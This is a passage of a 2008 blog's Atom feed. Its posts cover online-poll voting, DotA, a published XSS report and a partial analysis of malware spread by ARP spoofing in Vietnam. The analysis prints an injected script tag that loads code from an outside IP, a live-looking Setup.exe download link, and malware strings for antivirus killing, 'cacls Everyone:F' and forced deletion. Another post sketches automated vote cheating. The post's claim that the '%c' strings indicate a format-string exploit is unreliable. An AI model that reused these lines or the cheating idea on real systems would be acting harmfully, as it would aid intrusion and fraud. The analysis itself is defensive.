href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5764839590111230415'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/03/technorati.html' title='Technorati'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-6705082029245308306</id><published>2008-02-24T08:06:00.001Z</published><updated>2008-02-24T08:08:28.186Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='New7Wonders'/><title type='text'>New7Wonders</title><content type='html'>I believe many of you have heard about the famous &lt;a href="http://en.wikipedia.org/wiki/Seven_Wonders_of_the_Ancient_World"&gt;7 wonders of the ancient world&lt;/a&gt;. But do you know there is a project that attempts to create a new list of modern wonders: &lt;a href="http://www.new7wonders.com"&gt;http://www.new7wonders.com&lt;/a&gt;? A poll is hosted online there and internet users all over the world can come and cast their votes for their favourite candidates.&lt;br /&gt;&lt;br /&gt;The media in Vietnam has been doing a fine job of spreading the words to many Vietnamese patriots, and as a result, the 3 candidates from Vietnam are leading the board at the moment. And out of curiosity, I had a quick look at the website to see if I can find anything interesting.&lt;br /&gt;&lt;br /&gt;Firstly I'd like to say, online voting is unfair by any means. People who have never visited the wonders before can still cast their votes, which will surely lead to an incorrect result. And what's even worse is that countries with high population surely have an advantage.&lt;br /&gt;&lt;br /&gt;Another problem of new7wonders is that the voting system looks to be in the 90s. In order to cast a vote, a user just has to enter his email address, some personal information, vote, and click a link in the confirmation email. No anti-bot mechanism is applied, so cheating is fairly easy. Just a script to automate the vote, and an email filter on your mail server to grab the link and click on it :P&lt;br /&gt;&lt;br /&gt;Maybe my blog will become a new wonder of the world soon? :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-6705082029245308306?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/6705082029245308306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=6705082029245308306' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6705082029245308306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6705082029245308306'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/02/new7wonders.html' title='New7Wonders'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-7834173000104716260</id><published>2008-02-14T15:29:00.003Z</published><updated>2008-02-14T15:41:05.642Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='DotA'/><title type='text'>DotA</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;Probably you're wondering why there hasn't been a new post for a long time. Well I have been playing &lt;a href="http://en.wikipedia.org/wiki/Defense_of_the_Ancients"&gt;DotA&lt;/a&gt; like crazy recently. Although Warcraft is surely inferior to Starcraft, DotA is really a great game, especially when you got to play in a great team.&lt;br /&gt;&lt;br /&gt;While training hard to become a DotA gosu, I have played various heroes, among which Traxex, Axe and Bloodseeker are my favourites. If you are a DotA fan, we should meet up and discuss about DotA strategies some time :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-7834173000104716260?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/7834173000104716260/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=7834173000104716260' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7834173000104716260'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7834173000104716260'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/02/dota.html' title='DotA'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-7420388421112304100</id><published>2008-01-14T14:50:00.000Z</published><updated>2008-01-14T15:29:21.355Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='xssed'/><title type='text'>My first XSS published</title><content type='html'>Yeah, finally an XSS bug I found &lt;a href="http://www.xssed.com/mirror/30838/"&gt;has been published on xssed.com&lt;/a&gt;! Actually, after stumbling upon this site in late 2007, I had been submitting quite a few bugs discovered while wandering the wilderness, but this was the first one published so far. I wonder what happened to the others - were they not important enough to be there, or just the admins were too busy to process all the submissions. But anyway, I'll keep submitting bugs I have found - for a better digital world :)&lt;br /&gt;&lt;br /&gt;Believe it or not, since I gained "underground" knowledge about internet security, I have been seeing vulnerabilities everywhere. Like in 10 websites I visited, 5 were vulnerable to XSS or SQL injection, 2 had other bugs that surely made them insecure, and 3 had bugs that had been/would be discovered (and exploited) by someone other than me. And most of the time my emails to the webmaster went to /dev/null. Not to mention the fact that only a few webmasters were capable of fixing them the right way.&lt;br /&gt;&lt;br /&gt;Now with xssed, hopefully my bug reporting will become more effective. And I wonder if there are any other sites like that where I can submit SQL injection vulnerabilities and other bugs too.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-7420388421112304100?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/7420388421112304100/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=7420388421112304100' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7420388421112304100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7420388421112304100'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/01/my-first-xss-published.html' title='My first XSS published'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-8679461570393576103</id><published>2007-12-24T15:11:00.000Z</published><updated>2008-01-18T01:26:48.687Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='dashfer'/><title type='text'>Virus again? Damn it!</title><content type='html'>In the last few days there was an attack from a Chinese hacker to computer networks in Vietnam. When surfing the Internet, especially on Vietnamese websites, many people see advertisements of Chinese websites roaming around the pages. There's a rumour going around that this attack is related to the recent &lt;a href="http://www.nationalpost.com/news/story.html?id=175296"&gt;clash between China and Vietnam over some islands&lt;/a&gt;, but I'm in no position to discuss about it :P&lt;br /&gt;&lt;br /&gt;Anyway, as a patriot, I decided to make everything clear once and for all. By checking the source code of the pages, I found the following piece of code "injected" on the pages:&lt;br /&gt;&lt;pre&gt;&amp;lt;script src=http://121.15.220.104/1.js&amp;gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;I came to a conclusion that this was a man-in-the-middle attack, in which the hacker pwnzored a node somewhere between the victim computers and the host, and filtered the content on-the-fly. After doing some research on Google, I found that this was done with a virus that attacked a computer, then turned it into a gateway by faking the MAC address, and then filtered everything that went through it (this method is called &lt;a href="http://en.wikipedia.org/wiki/ARP_spoofing"&gt;ARP spoofing&lt;/a&gt;). Also I found a program that was probably the evil thing spreading the virus over the network: &lt;a href="http://121.15.220.104/Setup.exe"&gt;http://121.15.220.104/Setup.exe&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I decided to have a look at it. After some unpacking, I was able to load in under OllyDbg. You would be amazed to see the String table:&lt;br /&gt;&lt;pre&gt;Address    Disassembly                               Text string&lt;br /&gt;004016B4   PUSH Setup.0040B058                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;004016C5   PUSH Setup.0040B054                       ASCII " ""&lt;br /&gt;0040175E   PUSH Setup.0040B04C                       ASCII "\*"&lt;br /&gt;004017E4   PUSH Setup.0040B040                       ASCII ".."&lt;br /&gt;004019C6   MOV EDI,Setup.0040B100                    ASCII "%c%c%c"&lt;br /&gt;00401AC1   PUSH Setup.0040B040                       ASCII ".."&lt;br /&gt;00401B24   PUSH Setup.0040B0F8                       ASCII "360"&lt;br /&gt;00401B3A   MOV EAX,Setup.0040B0F4                    ASCII "AD"&lt;br /&gt;00401BAB   MOV EAX,Setup.0040B0F0                    ASCII "GO"&lt;br /&gt;00401C45   PUSH Setup.0040B0EC                       ASCII ".js"&lt;br /&gt;00401CC6   PUSH Setup.0040B0E8                       ASCII "exe"&lt;br /&gt;00401D2A   PUSH Setup.0040B0E4                       ASCII "\~"&lt;br /&gt;00401E4A   PUSH Setup.0040B0E0                       ASCII "rar"&lt;br /&gt;00401E5E   PUSH Setup.0040B0DC                       ASCII "zip"&lt;br /&gt;00401E9E   CMP DWORD PTR SS:[EBP-1EC],500000         ASCII "Actx "&lt;br /&gt;00401EE1   PUSH Setup.0040B0D4                       ASCII "\bak\"&lt;br /&gt;00401F5F   PUSH Setup.0040B0CC                       ASCII " X ""&lt;br /&gt;00401F6A   PUSH Setup.0040B0C8                       ASCII "" ""&lt;br /&gt;00401F95   PUSH Setup.0040B0B4                       ASCII "" -r -inul -ibck -y"&lt;br /&gt;0040203C   PUSH Setup.0040B0D4                       ASCII "\bak\"&lt;br /&gt;004020BE   PUSH Setup.0040B0D4                       ASCII "\bak\"&lt;br /&gt;00402108   PUSH Setup.0040B0AC                       ASCII " A ""&lt;br /&gt;00402113   PUSH Setup.0040B0C8                       ASCII "" ""&lt;br /&gt;00402138   PUSH Setup.0040B084                       ASCII "*.*" -r -inul -ibck -y -m0 -df -ep -ep1"&lt;br /&gt;00402230   PUSH Setup.0040B080                       ASCII "ddd"&lt;br /&gt;00402285   PUSH Setup.0040B0D4                       ASCII "\bak\"&lt;br /&gt;0040255D   PUSH Setup.0040B11C                       ASCII "^|"&lt;br /&gt;004025B0   PUSH Setup.0040B10C                       ASCII "cmd.exe /c ""&lt;br /&gt;0040279B   PUSH Setup.0040B120                       ASCII "%c:\"&lt;br /&gt;00402974   PUSH Setup.0040B284                       ASCII "ieframe"&lt;br /&gt;00402988   PUSH Setup.0040B274                       ASCII "cabinetwclass"&lt;br /&gt;0040299C   PUSH Setup.0040B25C                       ASCII "mozillauiwindowclass"&lt;br /&gt;004029B0   PUSH Setup.0040B254                       ASCII "metapad"&lt;br /&gt;004029C5   PUSH Setup.0040B24C                       ASCII "dr.web"&lt;br /&gt;004029DB   PUSH Setup.0040B244                       ASCII "avg "&lt;br /&gt;00402A03   PUSH Setup.0040B230                       ASCII "tapplication"&lt;br /&gt;00402A27   PUSH Setup.0040B220                       ASCII "AfxMDIFrame42s"&lt;br /&gt;00402A3A   PUSH Setup.0040B218                       ASCII "360safe"&lt;br /&gt;00402A50   PUSH Setup.0040B218                       ASCII "360safe"&lt;br /&gt;00402A66   PUSH Setup.0040B210                       ASCII "360anti"&lt;br /&gt;00402A7C   PUSH Setup.0040B208                       ASCII "afx:"&lt;br /&gt;00402AAB   MOV EDI,Setup.0040B200                    ASCII "#32770"&lt;br /&gt;00402AD2   PUSH Setup.0040B1E8                       ASCII "thunderrt6main"&lt;br /&gt;00402AF8   PUSH Setup.0040B1E0                       ASCII "antivir"&lt;br /&gt;00402B3A   PUSH Setup.0040B1C8                       ASCII "kvxp"&lt;br /&gt;00402BC4   PUSH Setup.0040B198                       ASCII "thunderrt6formdc"&lt;br /&gt;00402BDE   PUSH Setup.0040B188                       ASCII "ThunderRT6Timer"&lt;br /&gt;00402BF1   PUSH Setup.0040B180                       ASCII "ewido"&lt;br /&gt;00402C07   PUSH Setup.0040B178                       ASCII "escan"&lt;br /&gt;00402C1D   PUSH Setup.0040B170                       ASCII "mcagent"&lt;br /&gt;00402C7E   PUSH Setup.0040B158                       ASCII "bitdefender"&lt;br /&gt;00402C99   PUSH Setup.0040B148                       ASCII "facelesswndproc"&lt;br /&gt;00402D3A   PUSH Setup.0040B130                       ASCII "##vso##"&lt;br /&gt;00402D4D   PUSH Setup.0040B128                       ASCII "avast"&lt;br /&gt;00402E58   PUSH Setup.0040B0E8                       ASCII "exe"&lt;br /&gt;00402FAE   PUSH Setup.0040B9C0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00403005   PUSH Setup.0040B9A4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00403046   PUSH Setup.0040B96C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00403057   MOV EDI,Setup.0040B968                    ASCII "XOR"&lt;br /&gt;00403098   PUSH Setup.0040B200                       ASCII "#32770"&lt;br /&gt;00403122   PUSH Setup.0040B960                       ASCII "xxpin"&lt;br /&gt;004031C5   PUSH Setup.0040B8B0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;004032A4   PUSH Setup.0040B7D4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;004032FC   PUSH Setup.0040B96C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00403323   PUSH Setup.0040B7C8                       ASCII "%c%c%c%c%c"&lt;br /&gt;00403355   PUSH Setup.0040B7B4                       ASCII "%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00403385   PUSH Setup.0040B7A0                       ASCII "%c%c%c%c%c%c%c%c"&lt;br /&gt;0040342C   PUSH Setup.0040B744                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;004034A2   PUSH Setup.0040B738                       ASCII "%s\cmd.exe"&lt;br /&gt;004034D7   PUSH Setup.0040B730                       ASCII "%s\com"&lt;br /&gt;004034F1   PUSH Setup.0040B728                       ASCII "%s\%s"&lt;br /&gt;0040352D   PUSH Setup.0040B718                       ASCII "pagefile.pif"&lt;br /&gt;00403544   PUSH Setup.0040B708                       ASCII "CabinetWClass"&lt;br /&gt;00403897   PUSH Setup.0040B688                       ASCII "%c%c%ct%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;004038D3   PUSH Setup.0040B678                       ASCII "Common Startup"&lt;br /&gt;004038F9   PUSH Setup.0040B728                       ASCII "%s\%s"&lt;br /&gt;00403989   PUSH Setup.0040B61C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;004039F2   PUSH Setup.0040B614                       ASCII ".exe"&lt;br /&gt;00403AA0   PUSH Setup.0040B5DC                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00403B14   PUSH Setup.0040B614                       ASCII ".exe"&lt;br /&gt;00403B6E   PUSH Setup.0040B5D0                       ASCII "\rar.exe"&lt;br /&gt;00403B73   PUSH Setup.0040B5C4                       ASCII "\winrar.exe"&lt;br /&gt;00403C0C   PUSH Setup.0040B544                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00403CA2   PUSH Setup.0040B4F0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00403D19   PUSH Setup.0040B4E4                       ASCII " /e /t /g "&lt;br /&gt;00403D3A   PUSH Setup.0040B4E0                       ASCII ":F"&lt;br /&gt;00403D52   PUSH Setup.0040B4D4                       ASCII "cacls.exe"&lt;br /&gt;00403D7F   PUSH Setup.0040B4BC                       ASCII " /e /t /g Everyone:F"&lt;br /&gt;00403D93   PUSH Setup.0040B4D4                       ASCII "cacls.exe"&lt;br /&gt;00403DCC   PUSH Setup.0040B4E4                       ASCII " /e /t /g "&lt;br /&gt;00403DF1   PUSH Setup.0040B4E0                       ASCII ":F"&lt;br /&gt;00403E09   PUSH Setup.0040B4D4                       ASCII "cacls.exe"&lt;br /&gt;00403E72   PUSH Setup.0040B4BC                       ASCII " /e /t /g Everyone:F"&lt;br /&gt;00403E8A   PUSH Setup.0040B4D4                       ASCII "cacls.exe"&lt;br /&gt;00403EDB   PUSH Setup.0040B4E4                       ASCII " /e /t /g "&lt;br /&gt;00403F00   PUSH Setup.0040B4E0                       ASCII ":F"&lt;br /&gt;00403F18   PUSH Setup.0040B4D4                       ASCII "cacls.exe"&lt;br /&gt;00403F81   PUSH Setup.0040B4BC                       ASCII " /e /t /g Everyone:F"&lt;br /&gt;00403F99   PUSH Setup.0040B4D4                       ASCII "cacls.exe"&lt;br /&gt;00404053   PUSH Setup.0040B4B0                       ASCII "\ntfsus.exe"&lt;br /&gt;004040BC   PUSH Setup.0040B4AC                       ASCII "pac"&lt;br /&gt;00404190   PUSH Setup.0040B4A8                       ASCII " ^"&lt;br /&gt;00404212   PUSH Setup.0040B614                       ASCII ".exe"&lt;br /&gt;0040424F   PUSH Setup.0040B49C                       ASCII ".exe.log"&lt;br /&gt;0040426C   PUSH Setup.0040B4A8                       ASCII " ^"&lt;br /&gt;004042EE   PUSH Setup.0040B494                       ASCII "%s.~"&lt;br /&gt;004042FF   PUSH Setup.0040B48C                       ASCII "%s.exe"&lt;br /&gt;0040436D   MOV EDI,Setup.0040B484                    ASCII ".log"&lt;br /&gt;0040444D   PUSH Setup.0040B47C                       ASCII "\netc"&lt;br /&gt;0040445E   PUSH Setup.0040B474                       ASCII "fg.000"&lt;br /&gt;0040446B   PUSH Setup.0040B468                       ASCII "\netcfg.dll"&lt;br /&gt;004044A8   PUSH Setup.0040B464                       ASCII "#32"&lt;br /&gt;004044B5   PUSH Setup.0040B460                       ASCII "770"&lt;br /&gt;00404569   PUSH Setup.0040B450                       ASCII "CNJBlaipbofF"&lt;br /&gt;004045BE   PUSH Setup.0040B438                       ASCII "%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;004045F3   PUSH Setup.0040B120                       ASCII "%c:\"&lt;br /&gt;004046B0   PUSH Setup.0040B414                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;004046D7   PUSH Setup.0040B728                       ASCII "%s\%s"&lt;br /&gt;00404744   PUSH Setup.0040B408                       ASCII "%s\boot.ini"&lt;br /&gt;00404822   PUSH Setup.0040B400                       ASCII "\bak"&lt;br /&gt;0040489A   PUSH Setup.0040B3E0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;004048B8   PUSH Setup.0040B728                       ASCII "%s\%s"&lt;br /&gt;004048F1   PUSH Setup.0040B7A0                       ASCII "%c%c%c%c%c%c%c%c"&lt;br /&gt;0040490C   PUSH Setup.0040B728                       ASCII "%s\%s"&lt;br /&gt;00404949   PUSH Setup.0040B3C8                       ASCII "%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00404973   PUSH Setup.0040B728                       ASCII "%s\%s"&lt;br /&gt;004049BA   PUSH Setup.0040B400                       ASCII "\bak"&lt;br /&gt;004049DB   PUSH Setup.0040B400                       ASCII "\bak"&lt;br /&gt;00404A15   PUSH Setup.0040B400                       ASCII "\bak"&lt;br /&gt;00404A60   PUSH Setup.0040B9C0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00404B7A   PUSH Setup.0040B2AC                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%"...&lt;br /&gt;00404EE6   PUSH Setup.0040BA38                       ASCII "ping.exe -f -n 1 www.baidu.com"&lt;br /&gt;00405004   PUSH Setup.0040BA5C                       ASCII "rb"&lt;br /&gt;00405077   PUSH Setup.0040BA5C                       ASCII "rb"&lt;br /&gt;00405117   PUSH Setup.0040BA58                       ASCII "wb"&lt;br /&gt;00405229   MOV DWORD PTR SS:[ESP],Setup.0040BA5C     ASCII "rb"&lt;br /&gt;00405648   MOV DWORD PTR SS:[ESP],Setup.0040BA5C     ASCII "rb"&lt;br /&gt;00405669   PUSH Setup.0040BA58                       ASCII "wb"&lt;br /&gt;0040578F   PUSH Setup.0040BA60                       ASCII "cmd.exe /c del /F /Q ""&lt;br /&gt;00405800   PUSH Setup.0040BA58                       ASCII "wb"&lt;br /&gt;004059E7   PUSH Setup.0040B438                       ASCII "%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00405A38   PUSH Setup.0040B7B4                       ASCII "%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00405A52   MOV ESI,Setup.0040BB9C                    ASCII "&lt;br /&gt;"&lt;br /&gt;00405A87   PUSH Setup.0040B414                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00405AD1   PUSH Setup.0040BB70                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%s%s%c%c%c%c"&lt;br /&gt;00405B2E   PUSH Setup.0040BB30                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00405B79   PUSH Setup.0040BB04                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00405BD6   PUSH Setup.0040BAC0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%s%s%s%s%s%c%c%c%c"&lt;br /&gt;00405C37   PUSH Setup.0040BA78                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00405D5C   PUSH Setup.0040BBA0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00405EDF   PUSH Setup.0040B120                       ASCII "%c:\"&lt;br /&gt;00405F11   MOV EBP,Setup.0040B400                    ASCII "\bak"&lt;br /&gt;0040602B   PUSH Setup.0040B438                       ASCII "%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;0040606C   PUSH Setup.0040BBA0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00406099   PUSH Setup.0040B120                       ASCII "%c:\"&lt;br /&gt;00406241   PUSH Setup.0040BE90                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;0040628F   PUSH Setup.0040B3E0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00406391   PUSH Setup.0040BDE4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00406476   PUSH Setup.0040BD30                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00406553   PUSH Setup.0040BDE4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00406634   PUSH Setup.0040BD30                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;004066FD   PUSH Setup.0040BC9C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;004067BD   PUSH Setup.0040BE90                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00406814   PUSH Setup.0040BC74                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;0040690C   PUSH Setup.0040BBD4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00406950   MOV EDI,Setup.0040BBCC                    ASCII "Type"&lt;br /&gt;0040696D   MOV EBX,Setup.0040BBC4                    ASCII "radio"&lt;br /&gt;004069E2   PUSH Setup.0040BBBC                       ASCII "IEFrame"&lt;br /&gt;00406A43   PUSH Setup.0040B9C0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00406B62   PUSH Setup.0040BF0C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00406CA3   PUSH Setup.0040BF3C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c"&lt;br /&gt;00406CB4   PUSH Setup.0040B968                       ASCII "XOR"&lt;br /&gt;004073DB   SUB ESP,68                                (Initial CPU selection)&lt;br /&gt;00407539   PUSH 10000                                UNICODE "=::=::\"&lt;/pre&gt;I can tell this virus is really dangerous. It kills every anti-virus program you have in an instant. The existence of those %c shows that it is using a buffer overflow/format string exploit, which is very effective against a naive operating system like Windows. It also opens some ports on your computer: 135, 139, 445, 1026, and 5152.&lt;br /&gt;&lt;br /&gt;As I'm running out of time for tonight, let's leave the detailed analysis of the virus 